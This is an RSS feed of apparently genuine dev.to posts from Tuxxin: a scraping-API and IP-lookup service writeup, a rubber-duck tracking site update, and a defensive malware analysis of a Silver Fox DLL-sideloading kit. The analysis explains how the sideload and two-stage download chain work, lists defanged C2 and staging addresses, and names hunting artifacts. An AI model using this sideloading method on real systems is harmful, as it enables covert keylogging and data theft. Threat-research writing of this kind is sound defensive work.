      &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://webfetch.io/mcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"headers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Authorization"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bearer wfk_your_key"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Request limits
&lt;/h2&gt;

&lt;p&gt;Webfetch honors robots.txt by default. Turning that off needs a key whose owner has accepted the acceptable use policy, and each such request is logged. Private, loopback, link-local and reserved addresses are refused, and the check repeats on every redirect.&lt;/p&gt;

&lt;p&gt;Bandwidth is capped on the wire at 25 MB per request, and at 5 MB through the mobile and residential pools. A request that reaches the cap returns and bills the content fetched so far, marked with &lt;code&gt;Wf-Truncated: true&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Free capacity is best effort: when paid traffic is heavy, a free request can get HTTP 503 with the code &lt;code&gt;free_tier_busy&lt;/code&gt; and a &lt;code&gt;Retry-After&lt;/code&gt; header, at no cost.&lt;/p&gt;

&lt;h2&gt;
  
  
  Not in this release
&lt;/h2&gt;

&lt;p&gt;The AI extraction parameters (&lt;code&gt;ai_query&lt;/code&gt;, &lt;code&gt;ai_extract_rules&lt;/code&gt;, &lt;code&gt;ai_selector&lt;/code&gt;), &lt;code&gt;scraping_config&lt;/code&gt; and ScrapingBee's dedicated APIs for Google, Amazon, Walmart, YouTube and others are not implemented. A request that sends one of those parameters runs as an ordinary scrape at the usual credit cost and lists the parameter names in the &lt;code&gt;Wf-Unknown-Parameters&lt;/code&gt; header. A screenshot comes back as a link in the &lt;code&gt;Wf-Screenshot-Url&lt;/code&gt; header, where ScrapingBee returns the image itself.&lt;/p&gt;

&lt;p&gt;Webfetch is run by Tuxxin LLC. The &lt;a href="https://webfetch.io/documentation" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; covers every parameter, and the &lt;a href="https://webfetch.io/scrapingbee-alternative" rel="noopener noreferrer"&gt;ScrapingBee migration guide&lt;/a&gt; compares the two services plan by plan.&lt;/p&gt;

</description>
      <category>webscraping</category>
      <category>api</category>
      <category>scrapingbeealternative</category>
      <category>mcp</category>
    </item>
    <item>
      <title>WorldIP.io has 12 hidden easter eggs and one has been found</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Fri, 02 Oct 2026 17:30:02 +0000</pubDate>
      <link>https://dev.to/tuxxin/worldipio-has-12-hidden-easter-eggs-and-one-has-been-found-ph0</link>
      <guid>https://dev.to/tuxxin/worldipio-has-12-hidden-easter-eggs-and-one-has-been-found-ph0</guid>
      <description>&lt;p&gt;WorldIP.io has carried 12 hidden easter eggs for more than six months. In that time one has been found and reported. The other 11 are still unclaimed, and the image above shows one of them running.&lt;/p&gt;

&lt;h2&gt;
  
  
  The egg in the screenshot
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://worldip.io/infrastructure" rel="noopener noreferrer"&gt;infrastructure page&lt;/a&gt; reports live numbers from the systems behind the site. A map draws the replication mesh: regional hubs on three continents form a continuously replicated backbone, and every point of presence connects through its nearest hub. Below the map, cards list the 12 locations in the fleet, a mix of reverse-DNS scanner nodes and ClickHouse database replicas. The counters refresh every 15 minutes.&lt;/p&gt;

&lt;p&gt;With the egg active, green Matrix-style characters fall down both sides of the page and an Exit the Matrix button appears in the lower right corner.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://tuxxin.com/uploads/blog/2026/10/worldip-easter-egg-matrix.webp" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2cj7mghpg1ily56r8ik8.webp" alt="The lower right corner of the WorldIP.io infrastructure page: location cards for the scanner fleet, columns of green Matrix-style characters on the right edge, and an Exit the Matrix button." width="633" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The lower right corner of the infrastructure page with the egg running. Open the image for the full screenshot. How to trigger it is left out.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What WorldIP.io does
&lt;/h2&gt;

&lt;p&gt;WorldIP.io looks up who owns an IP address: the organization, ASN, regional internet registry, CIDR block, reverse DNS and geolocation. It is free, covers all 4.3 billion IPv4 addresses and needs no account. The search box also takes a domain, CIDR range, ASN, organization, country or state.&lt;/p&gt;

&lt;p&gt;The data comes from three layers. MaxMind GeoLite2 supplies the country, city and ASN blocks, and each new release is imported as soon as it is published. The delegation files of the five regional internet registries, checked every six hours, show which registry manages each block. Reverse DNS comes from WorldIP.io's own scanner fleet.&lt;/p&gt;

&lt;h2&gt;
  
  
  The scanner behind the reverse DNS
&lt;/h2&gt;

&lt;p&gt;Scanner nodes in North America, Europe and Asia-Pacific each run a continuous PTR scan over their own slice of the allocated address space, and the results stream into a globally replicated ClickHouse cluster. Scanner v4, released in July 2026, completes a sweep of the routable IPv4 space in under 24 hours.&lt;/p&gt;

&lt;p&gt;The scanner sends DNS PTR queries only. It opens no TCP connections, scans no ports and sends no HTTP requests to the addresses it resolves. Every scanner address has a forward-confirmed hostname under worldip.io, so a reverse lookup on a querying address identifies it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dig -x &amp;lt;querying-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Lookups from the command line
&lt;/h2&gt;

&lt;p&gt;The keyless API answers a single curl call with no key or signup. The IP address is the path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl worldip.io/8.8.8.8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reply is a JSON profile of the address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "ip": "8.8.8.8",
    "ptr": "dns.google",
    "asn": { "number": 15169, "name": "Google LLC" },
    "org": { "name": "Google, LLC" },
    "country": { "code": "US", "name": "United States" },
    "cidr": "8.8.8.0/24",
    ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run &lt;code&gt;curl worldip.io&lt;/code&gt; with no address and it profiles your own IP. Keyless requests are rate-limited per IP, and the &lt;code&gt;_meta&lt;/code&gt; block in each reply reports the limit and how much of it remains.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://worldip.io/developers" rel="noopener noreferrer"&gt;REST API&lt;/a&gt; adds VPN and proxy classification, trust scores, IPv6 and live BGP routing events. API keys come with the subscription plans, and the public Pulse BGP feeds need no key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Inside an AI assistant
&lt;/h2&gt;

&lt;p&gt;WorldIP.io runs a Model Context Protocol server at &lt;code&gt;https://worldip.io/mcp&lt;/code&gt;, so an assistant can look up an address in the middle of a conversation. It needs no key. To add it to Claude Code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;claude mcp add --transport http worldip https://worldip.io/mcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server exposes two read-only tools: &lt;code&gt;lookup_ip&lt;/code&gt; for any public IPv4 or IPv6 address, and &lt;code&gt;whats_my_ip&lt;/code&gt; for the caller's own address.&lt;/p&gt;

&lt;h2&gt;
  
  
  The rest of the site
&lt;/h2&gt;

&lt;p&gt;The lookup is one part of WorldIP.io. The site also has a &lt;a href="https://worldip.io/globe" rel="noopener noreferrer"&gt;3D globe&lt;/a&gt; of every IPv4 allocation, rankings of IPv4 holdings for all 250 &lt;a href="https://worldip.io/countries" rel="noopener noreferrer"&gt;countries&lt;/a&gt;, pages for the five &lt;a href="https://worldip.io/rirs" rel="noopener noreferrer"&gt;regional internet registries&lt;/a&gt;, an &lt;a href="https://worldip.io/exhaustion" rel="noopener noreferrer"&gt;IPv4 exhaustion counter&lt;/a&gt; with a per-registry breakdown, and a &lt;a href="https://worldip.io/news" rel="noopener noreferrer"&gt;news section&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to report a find
&lt;/h2&gt;

&lt;p&gt;When you trigger an egg, take a screenshot, write down the steps that led to it, and send both through the &lt;a href="https://worldip.io/contact" rel="noopener noreferrer"&gt;WorldIP.io contact form&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>eastereggs</category>
      <category>iplookup</category>
      <category>osint</category>
      <category>ipintelligence</category>
    </item>
    <item>
      <title>We removed 289 false finds and 47,000 phantom miles</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Fri, 02 Oct 2026 02:42:23 +0000</pubDate>
      <link>https://dev.to/tuxxin/we-removed-289-false-finds-and-47000-phantom-miles-4pdl</link>
      <guid>https://dev.to/tuxxin/we-removed-289-false-finds-and-47000-phantom-miles-4pdl</guid>
      <description>&lt;p&gt;The site's "Miles Traveled" total went from about 91,000 to about 44,000.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we cleaned up
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Most false finds came from batches of tags scanned one after another during setup.&lt;/strong&gt; The rest were our own test scans and visits from automated link checkers that opened shared tag links.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Each false find added a leg to its duck's journey.&lt;/strong&gt; Some later scans had been measured from those false locations, so we re-measured them from the duck's previous real position.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The removed finds had earned no points.&lt;/strong&gt; All of them were made while signed out, and signed-out scans earn none. We also rechecked one owner's mileage badge against the corrected miles.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What's new
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tap "I found it!" to log a find.&lt;/strong&gt; Scanning a tag opens a page for that duck. Link previews and link checkers only load the page, so they log nothing. The scanner in the DuckyTrack app logs a find as soon as it reads the tag. In Cruise Mode, it saves finds on your phone until you tap "Go Online &amp;amp; Log My Finds".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legs faster than 650 mph score zero miles.&lt;/strong&gt; That is a little over airliner cruising speed. Each leg is timed from the duck's last sighting, or from its release for a first find. The find still counts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sharing your location pins only the find you just logged.&lt;/strong&gt; The map button appears right after your find and works for 30 minutes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Following a duck by email now takes a confirmation.&lt;/strong&gt; We email you one link. Open it and tap "Yes, email me" to start updates. Your follow then counts on the Most Followed board. Every follower email now ends with an unsubscribe link, and existing email follows keep working.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The QR code on your tag's download page is now made by DuckyTrack&lt;/strong&gt;, so your tag's private link stays on DuckyTrack.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tips for duck owners
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Share your duck's journey page and keep the tag link for finders.&lt;/strong&gt; Anyone who has the link inside your QR or NFC tag can log a find with it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;To test a tag, scan it outside the DuckyTrack app and close the page without tapping the button.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tap "I released this duck" on its journey page at the spot where you set it loose, and share your location.&lt;/strong&gt; That pins where the journey starts. The first find's miles count from that pin, or from your last check-in if the duck has one. The first find by someone else sets the release date and hides the link.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Keeping the leaderboards fair
&lt;/h2&gt;

&lt;p&gt;Every duck's journey page already shows the corrected finds and miles, and so do the leaderboards that rank them.&lt;/p&gt;

&lt;p&gt;If a find on any duck looks wrong, tap "Report this duck" on its journey page and choose "Fake finds / cheating". Your report goes to our support team, and you can send one without an account.&lt;/p&gt;

&lt;p&gt;Thanks for releasing, finding and following ducks with us. Every find you log puts the duck's newest stop on its map.&lt;/p&gt;

</description>
      <category>rubberducks</category>
      <category>siteupdates</category>
      <category>leaderboards</category>
    </item>
    <item>
      <title>Nine files, two payloads: a Silver Fox sideloader in an open directory</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Tue, 29 Sep 2026 15:11:06 +0000</pubDate>
      <link>https://dev.to/tuxxin/nine-files-two-payloads-a-silver-fox-sideloader-in-an-open-directory-5h21</link>
      <guid>https://dev.to/tuxxin/nine-files-two-payloads-a-silver-fox-sideloader-in-an-open-directory-5h21</guid>
      <description>&lt;p&gt;An HTTP File Server (HFS) on &lt;code&gt;156.238.123[.]182&lt;/code&gt;, port 7294, was serving a complete Chinese-language DLL-sideloading kit with no authentication and directory listing enabled. The kit pairs a genuine Microsoft-signed program with a malicious DLL that starts a two-stage chain: a downloader, then an implant that imports keylogging and clipboard functions. The listing showed eleven files: the signed host program, the sideloaded loader, and nine payload files that reduce to two payloads.&lt;/p&gt;

&lt;p&gt;By &lt;a href="https://tuxxin.com/founder" rel="noopener noreferrer"&gt;Daniel Jones&lt;/a&gt;, Founder, Tuxxin LLC.&lt;/p&gt;

&lt;p&gt;MalwareHunterTeam (&lt;a href="https://x.com/malwrhunterteam" rel="noopener noreferrer"&gt;@malwrhunterteam&lt;/a&gt; on X) first flagged the open directory publicly on September 28, 2026. The analysis of the kit, its payloads and its infrastructure is Tuxxin's.&lt;/p&gt;

&lt;p&gt;The malicious samples are on MalwareBazaar and VirusTotal, and the indicators are in an &lt;a href="https://otx.alienvault.com/pulse/6abbb4324ef0e93bf824172f" rel="noopener noreferrer"&gt;AlienVault OTX pulse&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The open directory
&lt;/h2&gt;

&lt;p&gt;The directory is &lt;code&gt;hxxp://156.238.123[.]182:7294/&lt;/code&gt;.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Size (bytes)&lt;/th&gt;
&lt;th&gt;Contents&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;1.1x1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;252,768&lt;/td&gt;
&lt;td&gt;Signed Microsoft console program, the sideload host&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;1.d00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;172,032&lt;/td&gt;
&lt;td&gt;Unsigned DLL, the loader&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;
&lt;code&gt;mqpbl.xm&lt;/code&gt;, &lt;code&gt;nqxzer.xm&lt;/code&gt;, &lt;code&gt;qlnxro.xm&lt;/code&gt;, &lt;code&gt;xmlakt.xm&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;344,064 each&lt;/td&gt;
&lt;td&gt;Stage 1 downloader, four copies&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;
&lt;code&gt;gdtqka.fyx&lt;/code&gt;, &lt;code&gt;mqucpe.yjl&lt;/code&gt;, &lt;code&gt;nlehkyc.yxr&lt;/code&gt;, &lt;code&gt;qbupve.btk&lt;/code&gt;, &lt;code&gt;xfzwinq.krx&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;363,520 each&lt;/td&gt;
&lt;td&gt;Stage 2 implant, five copies&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The signed host program
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;1.1x1&lt;/code&gt; is the Microsoft SPD Dump Utility, &lt;code&gt;SPDDUMP.EXE&lt;/code&gt;, from Visual Studio 14.51.36244.0. Its signature validates and the file is unmodified. VirusTotal scores it 0 of 70. The operators ship it because it is clean and signed. Treat it as the host half of a sideload pair and keep it out of malicious-file lists.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SPDDUMP.EXE&lt;/code&gt; imports two functions from &lt;code&gt;mspdb140.dll&lt;/code&gt;: &lt;code&gt;PDBOpen2W&lt;/code&gt; and &lt;code&gt;PDBClose&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;1.d00&lt;/code&gt; is an unsigned DLL compiled on September 23, 2026. Among a long list of decoy Cygwin exports, it exports those two names. Renamed to &lt;code&gt;spddump.exe&lt;/code&gt; and &lt;code&gt;mspdb140.dll&lt;/code&gt; and placed in the same folder, the pair makes a signed Microsoft program load the attacker's code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The loader finds its payload by wildcard
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;1.d00&lt;/code&gt; contains no URLs and imports no network functions. When it loads, it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;calls &lt;code&gt;FreeConsole()&lt;/code&gt;, which hides the console window of &lt;code&gt;SPDDUMP.EXE&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;gets its own path with &lt;code&gt;GetModuleFileNameA&lt;/code&gt; and trims it to the directory;&lt;/li&gt;
&lt;li&gt;builds a wildcard from the string &lt;code&gt;"*."&lt;/code&gt; plus an extension and searches its own folder with &lt;code&gt;FindFirstFileA&lt;/code&gt; and &lt;code&gt;FindNextFileA&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;opens the match with mode &lt;code&gt;"rb"&lt;/code&gt;, reads it into memory from &lt;code&gt;VirtualAlloc&lt;/code&gt;, and runs it through &lt;code&gt;QueueUserAPC&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The loader runs any file in its folder with the matching extension, so the operator can rename the payload for every victim.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nine files, two payloads
&lt;/h2&gt;

&lt;p&gt;Within each size group, XOR-ing any two files against each other returns zero for the first several hundred kilobytes. A full byte comparison shows that the copies differ by three or four bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="p"&gt;mqucpe.yjl vs gdtqka.fyx   ndiff=3    @0x54280  b3 cb 47  -&amp;gt;  33 ca 4d
qbupve.btk vs gdtqka.fyx   ndiff=3    @0x54280  b3 cb 47  -&amp;gt;  5f e5 51
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the stage 2 group, the changed bytes sit in &lt;code&gt;.data&lt;/code&gt; padding directly after a hardcoded command-and-control (C2) IP address string. They leave execution unchanged and give each copy a different SHA-256, a technique called hash-busting.&lt;/p&gt;

&lt;p&gt;In the stage 1 group, the changed bytes are ASCII text. Each copy carries the filename of the stage 2 file it downloads:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Stage 1 file&lt;/th&gt;
&lt;th&gt;Stage 2 file it fetches&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;mqpbl.xm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mqucpe.yjl&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;nqxzer.xm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nlehkyc.yxr&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;qlnxro.xm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;qbupve.btk&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;xmlakt.xm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xfzwinq.krx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  A shared 2 KB loader stub
&lt;/h2&gt;

&lt;p&gt;Both payload types start with position-independent code. The first bytes, &lt;code&gt;40 55 53 56 57 41 54 41 55 41 56 41 57&lt;/code&gt;, are the prologue &lt;code&gt;push rbp&lt;/code&gt;, &lt;code&gt;push rbx&lt;/code&gt;, &lt;code&gt;push rsi&lt;/code&gt;, &lt;code&gt;push rdi&lt;/code&gt;, &lt;code&gt;push r12&lt;/code&gt; and onward.&lt;/p&gt;

&lt;p&gt;At offset &lt;code&gt;0x800&lt;/code&gt;, 2,048 bytes in, each file holds a complete PE32+ image. Carving at that offset produces valid, analyzable executables. The 2,048-byte stub in front is byte-identical in stage 1 and stage 2:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;5f7c25d4f1e5ce47674986d1f39fff1200a395646ccc516dbbdff55e39af7702
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;VirusTotal and MalwareBazaar had no record of the stub hash at the time of writing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 1: downloader and decoy
&lt;/h2&gt;

&lt;p&gt;The carved stage 1 executable was compiled on July 11, 2026, and imports WinHTTP. It contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;hxxp://156.238.123[.]182:7294/&lt;/code&gt;, the open directory it came from;&lt;/li&gt;
&lt;li&gt;the filename of its paired stage 2 file;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;https://www.baidu.com&lt;/code&gt;, used as a connectivity check;&lt;/li&gt;
&lt;li&gt;process enumeration through &lt;code&gt;CreateToolhelp32Snapshot&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;a &lt;code&gt;MessageBoxW&lt;/code&gt; call and this string:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;您的电脑不支持此版本，请到官网下载最新版以继续安装。
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In English: "Your computer does not support this version. Please go to the official website to download the latest version to continue installation."&lt;/p&gt;

&lt;p&gt;The victim sees this installer error in Chinese while stage 1 fetches stage 2 in the background.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 2: the implant
&lt;/h2&gt;

&lt;p&gt;The carved stage 2 executable was compiled on August 12, 2026. Its import table shows almost no networking, because the names &lt;code&gt;ws2_32.dll&lt;/code&gt; and &lt;code&gt;winmm.dll&lt;/code&gt; are XOR-obfuscated inline and resolved at runtime. Its imports include these functions, grouped by capability:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Capability&lt;/th&gt;
&lt;th&gt;Imports&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;Keylogging&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;GetAsyncKeyState&lt;/code&gt;, &lt;code&gt;GetKeyboardState&lt;/code&gt;, &lt;code&gt;MapVirtualKeyA&lt;/code&gt;, &lt;code&gt;ToAscii&lt;/code&gt;, &lt;code&gt;GetForegroundWindow&lt;/code&gt;, &lt;code&gt;GetWindowTextW&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Clipboard theft&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;OpenClipboard&lt;/code&gt;, &lt;code&gt;IsClipboardFormatAvailable&lt;/code&gt;, &lt;code&gt;GetClipboardData&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;RegCreateKeyExW&lt;/code&gt;, &lt;code&gt;RegSetValueExW&lt;/code&gt;, &lt;code&gt;RegisterApplicationRestart&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Injection&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;VirtualAlloc&lt;/code&gt;, &lt;code&gt;VirtualProtect&lt;/code&gt;, &lt;code&gt;GetThreadContext&lt;/code&gt;, &lt;code&gt;SetThreadContext&lt;/code&gt;, &lt;code&gt;CreateProcessW&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;Integrity-level check&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;OpenProcessToken&lt;/code&gt;, &lt;code&gt;GetTokenInformation&lt;/code&gt;, &lt;code&gt;GetSidSubAuthority&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Host artifacts to hunt for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a mutex matching &lt;code&gt;Local\Mutex_%08X&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;a relaunch command line of the form &lt;code&gt;"&amp;lt;path&amp;gt;" --restart-after-pid &amp;lt;pid&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The C2 address is a plain string in &lt;code&gt;.data&lt;/code&gt;: &lt;code&gt;137.220.156[.]70&lt;/code&gt; in four of the five copies and &lt;code&gt;137.220.156[.]69&lt;/code&gt; in the fifth. The implant writes the port into a global variable at runtime, so the files alone do not reveal it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attribution
&lt;/h2&gt;

&lt;p&gt;This report makes no independent attribution. VirusTotal labels a 41 MB archive on the same staging host, a fake LetsVPN installer package, as &lt;code&gt;trojan.silverfox/wylw&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Silver Fox (&lt;code&gt;银狐&lt;/code&gt;) is a documented cluster that targets Chinese-speaking users with trojanized installers of popular software. The kit matches that pattern: a Chinese-language decoy, a Baidu connectivity check and a VPN lure.&lt;/p&gt;

&lt;h2&gt;
  
  
  LetsVPN lookalike domains
&lt;/h2&gt;

&lt;p&gt;LetsVPN is a legitimate product and the impersonated brand in this operation. The service is blocked in mainland China, so its operators run a large, rotating set of mirror domains with numbered names in the pattern &lt;code&gt;a1-letsvpn&lt;/code&gt;, &lt;code&gt;a2-letsvpn&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We enumerated 576 LetsVPN lookalike domains and checked each one against the attacker's hosting ranges. None resolved into attacker infrastructure. They are excluded from the indicators below, because listing them would flag a large number of innocent domains. Resolve lookalike domains against known attacker infrastructure before adding them to a blocklist.&lt;/p&gt;

&lt;h2&gt;
  
  
  A sibling staging host, April to August 2026
&lt;/h2&gt;

&lt;p&gt;Public URL-scan history returns 44 scans of a second HFS server that served the filename &lt;code&gt;1.d00&lt;/code&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
&lt;th&gt;Path on &lt;code&gt;hxxp://154.198.50[.]76:8080/&lt;/code&gt;
&lt;/th&gt;
&lt;th&gt;Relation to this kit&lt;/th&gt;
&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
&lt;td&gt;
&lt;code&gt;1.1x1&lt;/code&gt;, &lt;code&gt;1.d00&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Same sideload filenames&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;dlters.xm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Same &lt;code&gt;.xm&lt;/code&gt; stage 1 extension&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;dusbng.res&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No counterpart on the current host&lt;/td&gt;
&lt;/tr&gt;
    &lt;tr&gt;
&lt;td&gt;&lt;code&gt;/upload&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HFS upload endpoint&lt;/td&gt;
&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

